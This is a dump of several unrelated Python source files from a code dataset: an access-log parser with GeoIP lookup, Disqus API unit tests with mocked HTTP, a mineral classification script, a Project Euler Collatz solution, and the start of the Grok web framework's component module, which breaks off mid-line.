user_agent_parser.Parse(details[0][5])\n\t\t\tworksheet.write(row, 4, parsed_string['device']['brand'])\n\t\t\tworksheet.write(row, 5, parsed_string['device']['family'])\n\t\t\tworksheet.write(row, 6, parsed_string['device']['model'])\n\t\t\tworksheet.write(row, 7, parsed_string['os']['family'])\n\t\t\tworksheet.write(row, 8, parsed_string['os']['major'])\n\t\t\tworksheet.write(row, 9, parsed_string['user_agent']['family'])\n\t\t\tworksheet.write(row, 10, parsed_string['user_agent']['major'])\n\t\t\t\n\t\t\t\n\t\t\tworksheet.write(row, 11, details[0][0])\n\t\t\ttry:\n\t\t\t\tresponse = reader.city(details[0][0])\n\t\t\texcept ValueError:\n\t\t\t\tworksheet.write(row, 12, 'N/A')\n\t\t\t\tworksheet.write(row, 13, 'N/A')\n\t\t\t\tworksheet.write(row, 14, 'N/A')\n\t\t\t\tworksheet.write(row, 15, 'N/A')\n\t\t\t\tworksheet.write(row, 16, 'N/A')\n\t\t\telse:\n\t\t\t\tworksheet.write(row, 12, response.country.name)\n\t\t\t\tworksheet.write(row, 13, response.subdivisions.most_specific.name)\n\t\t\t\tworksheet.write(row, 14, response.city.name)\n\t\t\t\tworksheet.write(row, 15, response.location.latitude)\n\t\t\t\tworksheet.write(row, 16, response.location.longitude)\n\t\t\t\n\t\t\tworksheet.write(row, 17, details[0][2])\n\t\t\tservername = details[0][3]\n\t\t\tif servername.startswith('www.'):\n\t\t\t\tservername = servername[4:]\n\t\t\tworksheet.write(row, 19, servername)\n\t\t\tworksheet.write(row, 18, details[0][4])\n\t\t\tSQLValues = [VisitDate.date(),VisitDate.year,VisitDate.month,VisitDate.day,parsed_string['device']['brand'],parsed_string['device']['family'],parsed_string['device']['model'],parsed_string['os']['family'],parsed_string['os']['major'],parsed_string['user_agent']['family'],parsed_string['user_agent']['major'],details[0][0],response.country.name,response.subdivisions.most_specific.name,response.city.name,response.location.latitude,response.location.longitude,details[0][2],details[0][4],servername]\n\t\t\tcursor.execute(SQLCommand,SQLValues)\n\t\t\trow += 1\nworkbook.close()\nconnection.commit()\nconnection.close()","sub_path":"AccessLogToDB.py","file_name":"AccessLogToDB.py","file_ext":"py","file_size_in_byte":5719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"103339046","text":"import mock\nimport os\nimport unittest\n\nimport disqusapi\nfrom disqusapi.utils import get_mac_signature\n\ndef requires(*env_vars):\n def wrapped(func):\n for k in env_vars:\n if not os.environ.get(k):\n return\n return func\n return wrapped\n\nclass MockResponse(object):\n def __init__(self, body, status=200):\n self.body = body\n self.status = status\n\n def read(self):\n return self.body\n\nclass DisqusAPITest(unittest.TestCase):\n API_SECRET = 'b'*64\n API_PUBLIC = 'c'*64\n HOST = os.environ.get('DISQUS_API_HOST', disqusapi.HOST)\n\n def setUp(self):\n disqusapi.HOST = self.HOST\n\n def test_setKey(self):\n api = disqusapi.DisqusAPI('a', 'c')\n self.assertEquals(api.secret_key, 'a')\n api.setKey('b')\n self.assertEquals(api.secret_key, 'b')\n\n def test_setSecretKey(self):\n api = disqusapi.DisqusAPI('a', 'c')\n self.assertEquals(api.secret_key, 'a')\n api.setSecretKey('b')\n self.assertEquals(api.secret_key, 'b')\n\n def test_setPublicKey(self):\n api = disqusapi.DisqusAPI('a', 'c')\n self.assertEquals(api.public_key, 'c')\n api.setPublicKey('b')\n self.assertEquals(api.public_key, 'b')\n\n def test_setFormat(self):\n api = disqusapi.DisqusAPI()\n self.assertEquals(api.format, 'json')\n api.setFormat('jsonp')\n self.assertEquals(api.format, 'jsonp')\n\n def test_setVersion(self):\n api = disqusapi.DisqusAPI()\n self.assertEquals(api.version, '3.0')\n api.setVersion('3.1')\n self.assertEquals(api.version, '3.1')\n\n def test_paginator(self):\n def iter_results():\n for n in xrange(11):\n yield disqusapi.Result(\n response=[n]*10,\n cursor={\n 'id': n,\n 'more': n < 10,\n },\n )\n\n api = disqusapi.DisqusAPI(self.API_SECRET, self.API_PUBLIC)\n\n with mock.patch('disqusapi.Resource._request') as _request:\n iterator = iter_results()\n _request.return_value = iterator.next()\n paginator = disqusapi.Paginator(api.posts.list, forum='disqus')\n n = 0\n for n, result in enumerate(paginator(limit=100)):\n if n % 10 == 0:\n iterator.next()\n self.assertEquals(n, 99)\n\n def test_signed_request(self):\n api = disqusapi.DisqusAPI(self.API_SECRET, self.API_PUBLIC)\n\n with mock.patch('httplib.HTTPConnection.request') as request:\n with mock.patch('httplib.HTTPConnection.getresponse') as getresponse:\n getresponse.return_value = MockResponse('''{\n \"response\": {}\n }''', status=200)\n api.posts.list(forum='disqus')\n\n args, kwargs = request.call_args\n self.assertEquals(args[0], 'GET')\n self.assertEquals(args[1], '/api/3.0/posts/list.json?forum=disqus')\n body = args[2].split('\\n')\n self.assertEquals(len(body), 8) # 6 parts to a signed body\n timestamp, nonce = body[0].split(':')\n self.assertTrue(len(nonce) <= 32)\n self.assertEquals(body[1], 'GET')\n self.assertEquals(body[2], '/api/3.0/posts/list.json?forum=disqus')\n self.assertEquals(body[3], 'disqus.com')\n self.assertEquals(body[4], '80')\n self.assertEquals(body[5], 'ytsXfVhvWMMkPyBsMPkn6DYXRqc=')\n self.assertEquals(body[6], '') # ext\n self.assertEquals(body[7], '') # always empty\n headers = args[3]\n signature = get_mac_signature(self.API_SECRET, args[2])\n self.assertTrue('Authorization' in headers)\n auth_header = 'MAC id=\"%s\", nonce=\"%s:%s\", body-hash=\"ytsXfVhvWMMkPyBsMPkn6DYXRqc=\", mac=\"%s\"' % (\n self.API_PUBLIC,\n timestamp,\n nonce,\n signature,\n )\n self.assertEquals(headers['Authorization'], auth_header)\n\n def test_signed_request_with_access_token(self):\n api = disqusapi.DisqusAPI(self.API_SECRET, self.API_PUBLIC)\n\n with mock.patch('httplib.HTTPConnection.request') as request:\n with mock.patch('httplib.HTTPConnection.getresponse') as getresponse:\n getresponse.return_value = MockResponse('''{\n \"response\": {}\n }''', status=200)\n api.posts.list(forum='disqus', access_token='z'*64)\n\n args, kwargs = request.call_args\n self.assertEquals(args[0], 'GET')\n self.assertEquals(args[1], '/api/3.0/posts/list.json?access_token=zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz&forum=disqus')\n body = args[2].split('\\n')\n self.assertEquals(len(body), 8) # 6 parts to a signed body\n timestamp, nonce = body[0].split(':')\n self.assertTrue(len(nonce) <= 32)\n self.assertEquals(body[1], 'GET')\n self.assertEquals(body[2], '/api/3.0/posts/list.json?access_token=zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz&forum=disqus')\n self.assertEquals(body[3], 'disqus.com')\n self.assertEquals(body[4], '80')\n self.assertEquals(body[5], 'vfI2fQSNV+WQvdBFwiB1BJvMcBw=')\n self.assertEquals(body[6], '') # ext\n self.assertEquals(body[7], '') # always empty\n headers = args[3]\n signature = get_mac_signature(self.API_SECRET, args[2])\n self.assertTrue('Authorization' in headers)\n auth_header = 'MAC id=\"%s\", nonce=\"%s:%s\", body-hash=\"vfI2fQSNV+WQvdBFwiB1BJvMcBw=\", mac=\"%s\", access_token=\"%s\"' % (\n self.API_PUBLIC,\n timestamp,\n nonce,\n signature,\n 'z'*64,\n )\n self.assertEquals(headers['Authorization'], auth_header)\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"disqusapi/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"63850254","text":"# ------------------------------------------------------------------------------------------------\r\n# ARTmin: Mineral classification\r\n# version May 2018\r\n# ------------------------------------------------------------------------------------------------\r\n\r\n# INPUT FILES #\r\nanalyses_file = 'artmin1154.xlsx'\r\npurephases_database_file = 'DBartmin_v11.xlsx'\r\nsolidsolutions_database_file = 'DBsolidsolutions_v11.xlsx'\r\nmixed_analyses_file = ''\t\t\t\t\t\t\t\t\t\r\nguesses_file = ''\r\n\r\n\r\n# FORMAT OF INPUT #\r\ncol_id_analyses = 0\t\t\t\t\t# Column for unique id, analyses (0-indexed) (int)\r\ncol_chem_analyses = 3\t\t\t\t# First column for chemical analysis (int)\r\ncol_id_purephases = 0\t\t\t\t# Column for unique id, pure phases (0-indexed) (int)\r\ncol_generic_pp = 1\t\t\t\t\t# Column for generic name, pure phases (0-indexed) (int)\r\ncol_specific_pp = 0\t\t\t\t\t# Column for specific name, pure phases (0-indexed) (int)\r\ncol_chem_purephases = 8\t\t\t\t# First column for chemical composition, pure phases (int)\r\ncol_id_solisolutions = None\t\t\t# Column for unique id, solid solutions (0-indexed) (int or \r\n\t\t\t\t\t\t\t\t\t\t# None, def = None). If None, excel sheet names are used\r\ncol_generic_ss = None \t\t\t\t# Column for generic name (0-indexed) (int or None). If None\r\n\t\t\t\t\t\t\t\t\t\t# excel sheet names are used.\r\ncol_specific_ss = 0\t\t\t\t\t# Column for generic name, solid solutions (0-indexed) (int)\r\ncol_chem_solidsolutions = 8\t\t\t# First column for chemical composition, solid solutions (int)\r\n\r\n\r\n# MODIFY DATABASE #\r\nremove_pp = []\t\t\t\t\t\t# Pure phases names to be removed from database (list of str)\r\nremove_ss = []\t\t\t\t\t\t# Solid solutions to be removed from database (list of str)\r\nadd_pp = []\t\t\t\t\t\t\t# Add phases to database (chemical formula) (list of str)\r\n\r\n\r\n# CLASSIFICATION SCHEME #\r\nrigorous_ss = False\t\t\t\t# Compute rigorously the solid solutions (time consuming)? \r\n\t\t\t\t\t\t\t\t\t# (bool, def = False) \r\nmixed_analyses_run = False\t\t# Do a run for mixed analyses? (bool, def = False)\r\nomit_traces = 0\t\t\t\t\t# Value under which traces are omitted (float, [0,1], def = 0)\r\nmajor_elements = 1\t\t\t\t# Value over which presence of element is considered essential \r\n\t\t\t\t\t\t\t\t\t# (float, [0,1], def = 1)\r\nsuccess_cutoff = 0.1\t\t\t# Normalized distance cutoff for success classification \r\n\t\t\t\t\t\t\t\t\t# (float, [0,1], def = 0.1)\r\ndistinct_cutoff = 0.02 \t\t\t# Normalized distance cutoff for unicity of classification \r\n\t\t\t\t\t\t\t\t\t# (float, [0,1], def = 0.02)\r\nshow_only_equivalent = False\t# Print out only phases within distinct_cutoff distance from best \r\n\t\t\t\t\t\t\t\t\t# (bool, def = False). False always yields three best matches\r\n\r\n# Relevant elements to show when present in analysis, with cut-off values (molar) from which they \r\n# are shown. (Dict = {key: val}) (key format is str) (val format is float, [0,1])\r\nanomal_elem = {'Cr':0.01, 'V':0.01, 'La':0.01, 'U':0.01}\r\n\r\n\r\n# OUTPUTS #\r\nexport_results = True\t\t\t\t\t\t# Export results? (bool)\r\nformat_output = 'csv'\t\t\t\t\t\t# Format of export, xlsx or csv (str)\r\nprint_progress = True\t\t\t\t\t\t# Print progress to command window? (bool)\r\nprint_all_comments = True\t\t\t\t\t# Print all comments to command window? (bool)\r\nprint_log = False\t\t\t\t\t\t\t# Print .txt logfile of command window output? (bool)\r\n\r\n\r\n# ------------------------------------------ ATTENTION -------------------------------------------\r\n# Ne pas descendre plus bas si vous ne vous appelez pas Alexandre ou Antoine ou si vous ne passez\r\n# pas vos longues soirées solitaires devant un écran noir plein de lignes de codes avec un\r\n# Mountain Dew.\r\n# ------------------------------------------------------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# ------------------------------------------------------------------------------------------------\r\n# Bonjour à toi apprenti-Sith,\r\n\r\n# Bienvenue du côté obscur de la Force. Ton nouveau maître: Stack Overflow.\r\n\r\n# Hors des libraires Python disponibles en téléchargement libre (numpy, scipy, pandas, math, re, \r\n# collections, fastnumbers, sklearn, time et datetime), les méthodes supplémentaires proviennent \r\n# des modules maison artmin.py et artmin_database.py. hdbscan nécessite un interprétateur C++\r\n# (sous Windows, Visual Studio).\r\n\r\n# Bon chance.\r\n# ------------------------------------------------------------------------------------------------\r\n\r\n\r\n# Library imports\r\nimport artmin as am \r\nimport numpy as np\r\nimport pandas as pd\r\nimport time\r\nimport datetime\r\n\r\nt_i = time.clock()\r\n\r\n# Name files for exports\r\nstart_time = datetime.datetime.now()\r\nindex_point = analyses_file.find('.')\r\nname = analyses_file[:index_point]\r\nif export_results:\r\n\tfilename_output = 'classified_' + str(name) + '.' + str(format_output)\r\nif print_log:\r\n\tstr_start_time = str(start_time)\r\n\tstr_start_time = int(''.join(c for c in str_start_time if c.isdigit()))\r\n\tstr_start_time = str(str_start_time)\r\n\tstr_start_time = str_start_time[:12]\r\n\tlogfilename = 'log_' + str(str_start_time) + '.txt'\r\n\r\n\r\n# Initialize output logger to .txt if \r\nif print_log:\r\n\tclass Tee:\r\n\t\tdef write(self, *args, **kwargs):\r\n\t\t\tself.out1.write(*args, **kwargs)\r\n\t\t\tself.out2.write(*args, **kwargs)\r\n\t\tdef flush(self):\r\n\t\t\tself.out1.flush()\r\n\t\t\tself.out2.flush()\r\n\t\tdef __init__(self, out1, out2):\r\n\t\t\tself.out1 = out1\r\n\t\t\tself.out2 = out2\r\n\timport sys\r\n\tsys.stdout = Tee(open(logfilename, 'w'), sys.stdout)\r\n\r\n\r\n# Print initializing comments\r\nif print_all_comments:\r\n\tprint('ARTmin: Mineral classification')\r\n\tprint('version May 2018')\r\n\tprint('_____________________________________________________________________________________\\n')\r\n\tprint('Classification run on:'.ljust(32), start_time,'\\n')\r\n\t\r\n\tprint('Analyses to be classified:'.ljust(32), analyses_file)\r\n\tprint('Pure phases database used:'.ljust(32), purephases_database_file)\r\n\tprint('Solid solutions database used:'.ljust(32), solidsolutions_database_file)\r\n\tif remove_pp:\r\n\t\tprint('Pure phases removed from db:'.ljust(32), remove_pp)\r\n\tif remove_ss:\r\n\t\tprint('Solid solutions removed from db:'.ljust(32), remove_ss)\r\n\tif add_pp:\r\n\t\tprint('Phases added to db:'.ljust(32), add_pp)\r\n\tprint('')\r\n\r\n\tprint('Type of classification: '.ljust(32), end=' ')\r\n\tif mixed_analyses_run:\r\n\t\tprint('Mixed analyses separation')\r\n\t\tprint('Mixed analyses separation is not implemented yet.')\r\n\telse:\r\n\t\tprint('Regular')\r\n\tif rigorous_ss:\r\n\t\tprint('Treatment of solid solutions:'.ljust(32), 'Rigorous')\r\n\telse:\r\n\t\tprint('Treatment of solid solutions:'.ljust(32), 'Simplified')\r\n\tprint('Classify according to:'.ljust(32), end = ' ')\r\n\tprint('Non-equivalent phases\\n') if show_only_equivalent else \\\r\n\tprint('Three best matches')\r\n\tprint('Unicity of solution at:'.ljust(32), str(100*distinct_cutoff) + '%')\r\n\tprint('Success of classification at:'.ljust(32), str(100*success_cutoff) + '%' , '\\n')\r\n\tif omit_traces > 0:\r\n\t\tprint('Traces omitted at: '.ljust(33) + str(100*omit_traces) + '%')\r\n\tif major_elements < 1:\r\n\t\tprint('Elements are essential from: '.ljust(33) +str(100*major_elements) + '%')\r\n\r\n\tif export_results:\r\n\t\tprint('Results exported to:'.ljust(32), filename_output)\r\n\telse:\r\n\t\tprint('Results not exported')\r\n\tif print_log:\r\n\t\tprint('Log report exported to:'.ljust(32), logfilename)\r\n\telse:\r\n\t\tprint('No log report printed')\r\n\tprint('_____________________________________________________________________________________\\n')\r\n\r\n\r\n# ------------------------------------------------------------------------------------------------\r\n# Load data from files to ARTmin\r\nANALYSES = am.load_analyses(analyses_file, print_comm=print_progress)\r\nDB_pp = am.load_pp(purephases_database_file, print_comm=print_progress)\r\nDB_ss = am.load_ss(solidsolutions_database_file, print_comm=print_progress)\r\n\r\n# Prepare data from raw to usable\r\n(analyses, values_analyses, id_analyses, db_pp, values_pp, id_pp, generic_pp, specific_pp, \\\r\ndb_ss, values_ss, id_ss, generic_ss, specific_ss) = am.prepare_data(ANALYSES, DB_pp, DB_ss, \\\r\ncol_ida=col_id_analyses, col_chema=col_chem_analyses, col_idpp=col_id_purephases, \\\r\ncol_gen_pp=col_generic_pp, col_spec_pp=col_specific_pp, col_chempp=col_chem_purephases, \\\r\ncol_idss=col_id_solisolutions, col_gen_ss=col_generic_ss, col_spec_ss=col_specific_ss, \\\r\ncol_chemss=col_chem_solidsolutions, omit_traces=omit_traces, print_comm=print_progress)\r\n# ------------------------------------------------------------------------------------------------\r\n\r\n\r\n# Print comments on imported data\r\nif print_all_comments:\r\n\tprint('Number of analyses:'.ljust(32), len(values_analyses))\r\n\tprint('Number of pure phases in db:'.ljust(32), len(values_pp))\r\n\tprint('Number of solid solutions in db:'.ljust(32), len(values_ss),'\\n')\r\n\r\n\r\n# ------------------------------------------------------------------------------------------------\r\n# Compute distances from all analyses to all database entries\r\n(DIST, SS_OPTI) = am.anal_to_all(values_analyses, values_pp, values_ss, id_analyses=id_analyses,\r\nid_pp=id_pp, id_ss=id_ss, rigorous=rigorous_ss, print_comm=print_progress)\r\n\r\n# Classify all computed distances to retrieve most likely phases for each analysis\r\nclassified = am.classify1(DIST, SS_OPTI, generic_pp, specific_pp, generic_ss, specific_ss,\r\nsuccess_cutoff=success_cutoff, distinct_cutoff=distinct_cutoff, print_comm=print_progress)\r\n# ------------------------------------------------------------------------------------------------\r\n\r\n\r\n# Print final comments, diagnostics and simplified report\r\nif print_all_comments:\r\n\r\n\t# Values for success rate\r\n\tn = len(classified)\r\n\tuca = [None]*n\r\n\taca = [None]*n\r\n\tnca = [None]*n\r\n\tj = 0\r\n\tfor i in classified.index:\r\n\t\tuca[j] = classified['success'][i] and classified['unique'][i]\r\n\t\taca[j] = classified['success'][i] and not classified['unique'][i]\r\n\t\tnca[j] = not classified['success'][i]\r\n\t\tj = j+1\r\n\tuca = np.sum(uca)\r\n\taca = np.sum(aca)\r\n\tnca = np.sum(nca)\r\n\r\n\tuca_r = '{0:.1f}'.format(100*uca/n) + '%'\r\n\taca_r = '{0:.1f}'.format(100*aca/n) + '%'\r\n\tnca_r = '{0:.1f}'.format(100*nca/n) + '%'\r\n\tuca_str = str(uca)\r\n\taca_str = str(aca)\r\n\tnca_str = str(nca)\r\n\tn = str(n)\r\n\tl = len(n)\r\n\r\n\tfinish_time = datetime.datetime.now()\r\n\tprint('_____________________________________________________________________________________\\n')\r\n\tprint('Classification finished on:'.ljust(32), finish_time, '\\n')\r\n\tprint('Unique analyses:'.ljust(33) + uca_str.rjust(l) + '/' + n + ' = ' + uca_r.rjust(5))\r\n\tprint('Ambiguous analyses:'.ljust(33) + aca_str.rjust(l) + '/' + n + ' = ' + aca_r.rjust(5))\r\n\tprint('Failed classification:'.ljust(33) + nca_str.rjust(l) + '/' + n + ' = ' + nca_r.rjust(5))\r\n\r\n\t# Values for simplified report\r\n\tpd.set_option('display.width', 1000)\r\n\tpd.set_option('display.max_rows', 10000)\r\n\t# Group, sum and sort values according to generic mineral name and succes of classification\r\n\tclassif = classified.groupby(['success', 'unique', 'generic1']).count()\r\n\tind_set = set(classif.index.get_level_values(2))\r\n\tind_list = list(ind_set)\r\n\t\r\n\tgeneric_report = pd.DataFrame(columns=['Classified', 'C(%)', ' Ambiguous', 'A(%)', \\\r\n\t' Failed', 'F(%)', ' Total', 'T(%)'], index=ind_list)\r\n\tif uca != 0:\r\n\t\tbin_uca = classif['d1(%)'].loc[True][True]\r\n\t\tgeneric_report['Classified'] = bin_uca\r\n\tif aca != 0:\r\n\t\tbin_aca = classif['d1(%)'].loc[True][False]\r\n\t\tgeneric_report[' Ambiguous'] = bin_aca\r\n\tif nca != 0:\r\n\t\tbin_nca1 = classif['d1(%)'].loc[False][True]\r\n\t\tbin_nca2 = classif['d1(%)'].loc[False][False]\r\n\t\tbin_nca = bin_nca1.add(bin_nca2, fill_value=0)\r\n\t\tgeneric_report[' Failed'] = bin_nca\r\n\tdel generic_report.index.name\r\n\tgeneric_report = generic_report.fillna(value = 0)\r\n\tgeneric_report = pd.DataFrame(generic_report, dtype=int)\r\n\tgeneric_report = generic_report.sort_values('Classified', ascending=False)\r\n\r\n\r\n\tgeneric_report[' Total'] = generic_report.sum(axis=1)\r\n\ttot = generic_report.sum(axis = 0)\r\n\tgeneric_report['C(%)'] = 100*generic_report['Classified']/tot['Classified']\r\n\tgeneric_report['C(%)'] = generic_report['C(%)'].round(decimals=1)\r\n\tgeneric_report['A(%)'] = 100*generic_report[' Ambiguous']/tot[' Ambiguous']\r\n\tgeneric_report['A(%)'] = generic_report['A(%)'].round(decimals=1)\r\n\tgeneric_report['F(%)'] = 100*generic_report[' Failed']/tot[' Failed']\r\n\tgeneric_report['F(%)'] = generic_report['F(%)'].round(decimals=1)\r\n\tgeneric_report['T(%)'] = 100*generic_report[' Total']/tot[' Total']\r\n\tgeneric_report['T(%)'] = generic_report['T(%)'].round(decimals=1)\r\n\tgeneric_report = generic_report.fillna(value = 0)\r\n\tprint('\\n',generic_report,'\\n')\r\n\r\n\tif export_results:\r\n\t\tprint('Detailed classification in:'.ljust(32), filename_output)\r\n\t\r\n\tt_f = time.clock()\r\n\telaps = t_f - t_i\r\n\tstr_elaps = am.sec_to_hms(elaps)\r\n\tprint('Classification completed in:'.ljust(32), str_elaps, '\\n')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ncol = ANALYSES.columns.values[col_chem_analyses:]\r\nind = analyses[:, col_id_analyses]\r\ndf = pd.DataFrame(values_analyses, columns=col, index=ind)\r\n\r\nfrom sklearn import datasets\r\nfrom sklearn.decomposition import PCA\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n\r\nclusterer = am.cluster_analyses(ANALYSES, col_ida=col_id_analyses, col_chema=col_chem_analyses)\r\n\r\nclasses = list(generic_report.index)[0:10]\r\nprint(classes)\r\nclass_colors = sns.color_palette('hls', len(classes))\r\nprint(class_colors)\r\ni = 0\r\ncolors_of_points = [None]*len(classified)\r\nfor x in classified['generic1']:\r\n\tif x in classes:\r\n\t\tcolors_of_points[i] = class_colors[classes.index(x)]\r\n\telse:\r\n\t\tcolors_of_points[i] = (0.5, 0.5, 0.5)\r\n\ti = i + 1\r\n#cluster_member_colors = [sns.desaturate(x,p) for x, p in zip(cluster_colors, clusterer.probabilities_)]\r\n\r\npca = PCA(n_components=2)\r\nX_r = pca.fit(values_analyses).transform(values_analyses)\r\nimport matplotlib.patches as mpatches\r\n\r\nplt.scatter(X_r[:,0], X_r[:,1], c=colors_of_points, alpha=0.5)\r\n\r\n#legend constr\r\ntop25classes = classes\r\nrecs = []\r\nfor i in range(0,10):\r\n\trecs.append(mpatches.Rectangle((0,0),1,1,fc=class_colors[i]))\r\nplt.legend(recs,top25classes)\r\nplt.show()\r\n\r\nthefile = open('clusters.txt', 'w')\r\nfor clust in clusterer.labels_:\r\n\tthefile.write('%s\\n' % clust)","sub_path":"debug.py","file_name":"debug.py","file_ext":"py","file_size_in_byte":14020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"336639503","text":"\"\"\"\nCreated on Feb 1 2019\n@author: jihwanshin\n\nProject Euler Problem 14\nLongest Collatz sequence\nhttps://projecteuler.net/problem=14\n\"\"\"\n\n# change date\ndef collatz(num):\n thenum = num\n sequence = []\n sequence.append(thenum)\n while thenum != 1:\n if thenum % 2 == 0:\n thenum = thenum / 2\n sequence.append(thenum)\n if thenum % 2 == 1:\n thenum = 3*thenum + 1\n sequence.append(thenum)\n return len(sequence)\n\nprint(collatz(13))\n\"\"\"maximum = float(\"-inf\")\nfor num in range(900001, 1000000, 2):\n if collatz(num) > maximum:\n maximum = num\nprint(maximum)\"\"\"\n","sub_path":"Problem 014 - Project Euler.py","file_name":"Problem 014 - Project Euler.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"309158272","text":"##############################################################################\n#\n# Copyright (c) 2006 Zope Corporation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"Grok components\n\"\"\"\n\nimport os\nimport persistent\nimport urllib\nimport datetime\nimport warnings\nimport pytz\nimport simplejson\n\nfrom zope import component\nfrom zope import interface\nfrom zope import schema\nfrom zope import event\nfrom zope.interface.common import idatetime\nfrom zope.lifecycleevent import ObjectModifiedEvent\nfrom zope.publisher.browser import BrowserPage\nfrom zope.publisher.interfaces import NotFound\nfrom zope.publisher.interfaces.browser import (IBrowserPublisher,\n IBrowserRequest)\nfrom zope.publisher.publish import mapply\nfrom zope.pagetemplate import pagetemplate, pagetemplatefile\nfrom zope.formlib import form\nfrom zope.traversing.browser.interfaces import IAbsoluteURL\nfrom zope.traversing.browser.absoluteurl import AbsoluteURL\nfrom zope.traversing.browser.absoluteurl import _safe as SAFE_URL_CHARACTERS\nfrom zope.annotation.interfaces import IAttributeAnnotatable\n\nfrom zope.app.pagetemplate.engine import TrustedAppPT\nfrom zope.app.publisher.browser import getDefaultViewName\nfrom zope.app.publisher.browser import directoryresource\nfrom zope.app.publisher.browser.pagetemplateresource import \\\n PageTemplateResourceFactory\nfrom zope.app.container.btree import BTreeContainer\nfrom zope.app.container.contained import Contained\nfrom zope.app.container.interfaces import IReadContainer\nfrom zope.app.component.site import SiteManagerContainer\n\nfrom martian import util\n\nfrom grok import interfaces, formlib\nfrom grok.util import url\n\nclass Model(Contained, persistent.Persistent):\n # XXX Inheritance order is important here. If we reverse this,\n # then containers can't be models anymore because no unambigous MRO\n # can be established.\n interface.implements(IAttributeAnnotatable)\n\n\nclass Container(BTreeContainer):\n interface.implements(IAttributeAnnotatable)\n\n\nclass Site(SiteManagerContainer):\n pass\n\n\nclass Application(Site):\n \"\"\"A top-level application object.\"\"\"\n interface.implements(interfaces.IApplication)\n\nclass Adapter(object):\n\n def __init__(self, context):\n self.context = context\n\n\nclass GlobalUtility(object):\n pass\n\n\nclass LocalUtility(Model):\n pass\n\n\nclass MultiAdapter(object):\n pass\n\n\nclass Annotation(persistent.Persistent):\n pass\n\n\nclass View(BrowserPage):\n interface.implements(interfaces.IGrokView)\n\n def __init__(self, context, request):\n super(View, self).__init__(context, request)\n self.static = component.queryAdapter(\n self.request,\n interface.Interface,\n name=self.module_info.package_dotted_name\n )\n\n @property\n def response(self):\n return self.request.response\n\n def __call__(self):\n mapply(self.update, (), self.request)\n if self.request.response.getStatus() in (302, 303):\n # A redirect was triggered somewhere in update(). Don't\n # continue rendering the template or doing anything else.\n return\n\n template = getattr(self, 'template', None)\n if template is not None:\n return self._render_template()\n return mapply(self.render, (), self.request)\n\n def _render_template(self):\n namespace = self.template.pt_getContext()\n namespace['request'] = self.request\n namespace['view'] = self\n namespace['context'] = self.context\n # XXX need to check whether we really want to put None here if missing\n namespace['static'] = self.static\n return self.template.pt_render(namespace)\n\n def __getitem__(self, key):\n # XXX give nice error message if template is None\n return self.template.macros[key]\n\n def url(self, obj=None, name=None):\n # if the first argument is a string, that's the name. There should\n # be no second argument\n if isinstance(obj, basestring):\n if name is not None:\n raise TypeError(\n 'url() takes either obj argument, obj, string arguments, '\n 'or string argument')\n name = obj\n obj = None\n\n if name is None and obj is None:\n # create URL to view itself\n obj = self\n elif name is not None and obj is None:\n # create URL to view on context\n obj = self.context\n return url(self.request, obj, name)\n\n def application_url(self, name=None):\n obj = self.context\n while obj is not None:\n if isinstance(obj, Application):\n return self.url(obj, name)\n obj = obj.__parent__\n raise ValueError(\"No application found.\")\n\n def redirect(self, url):\n return self.request.response.redirect(url)\n\n def update(self):\n pass\n\nclass GrokViewAbsoluteURL(AbsoluteURL):\n\n def _getContextName(self, context):\n return getattr(context, '__view_name__', None)\n # XXX breadcrumbs method on AbsoluteURL breaks as it does not use\n # _getContextName to get to the name of the view. What does breadcrumbs do?\n\n\nclass XMLRPC(object):\n pass\n\nclass JSON(BrowserPage):\n\n def __call__(self):\n view_name = self.__view_name__\n method = getattr(self, view_name)\n method_result = mapply(method, (), self.request)\n return simplejson.dumps(method_result)\n\nclass GrokPageTemplate(object):\n\n def __repr__(self):\n return '<%s template in %s>' % (self.__grok_name__,\n self.__grok_location__)\n\n def _annotateGrokInfo(self, name, location):\n self.__grok_name__ = name\n self.__grok_location__ = location\n\n\nclass PageTemplate(GrokPageTemplate, TrustedAppPT, pagetemplate.PageTemplate):\n expand = 0\n\n def __init__(self, template):\n super(PageTemplate, self).__init__()\n if util.not_unicode_or_ascii(template):\n raise ValueError(\"Invalid page template. Page templates must be \"\n \"unicode or ASCII.\")\n self.write(template)\n\n # __grok_module__ is needed to make defined_locally() return True for\n # inline templates\n # XXX unfortunately using caller_module means that\n # PageTemplate cannot be subclassed\n self.__grok_module__ = util.caller_module()\n\n\nclass PageTemplateFile(GrokPageTemplate, TrustedAppPT,\n pagetemplatefile.PageTemplateFile):\n\n def __init__(self, filename, _prefix=None):\n _prefix = self.get_path_from_prefix(_prefix)\n super(PageTemplateFile, self).__init__(filename, _prefix)\n\n # __grok_module__ is needed to make defined_locally() return True for\n # inline templates\n # XXX unfortunately using caller_module means that\n # PageTemplateFile cannot be subclassed\n self.__grok_module__ = 